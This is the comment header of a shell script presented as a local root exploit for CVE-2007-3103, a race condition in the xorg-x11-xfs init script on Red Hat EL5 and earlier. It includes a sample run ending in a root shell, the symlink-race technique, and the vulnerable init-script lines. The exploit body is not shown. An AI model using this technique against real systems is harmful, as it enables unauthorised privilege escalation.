# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
# 
# Another lame xploit by vl4dZ :)) works on redhat el5 and before 
#
#  $ id
#  uid=1001(kecos) gid=1001(user) groups=1001(user)
#  $ sh xfs-RaceCondition-root-exploit.sh 
#  [*] Generate large data file in /tmp/.font-unix
#  [*] Wait for xfs service to be (re)started by root...
#  [*] Hop, symlink created...
#  [*] Launching root shell
#  -sh-3.1# id
#  uid=0(root) gid=0(root) groups=0(root)

# Vulnerable version is xorg-x11-xfs <= 1.0.2-3.1 and vulnerable code is 
# located in the start() function of the /etc/init.d/xfs script:
# ...
#    rm -rf $FONT_UNIX_DIR
#    mkdir $FONT_UNIX_DIR
#    chown root:root $FONT_UNIX_DIR
#    chmod 1777 $FONT_UNIX_DIR
# ...
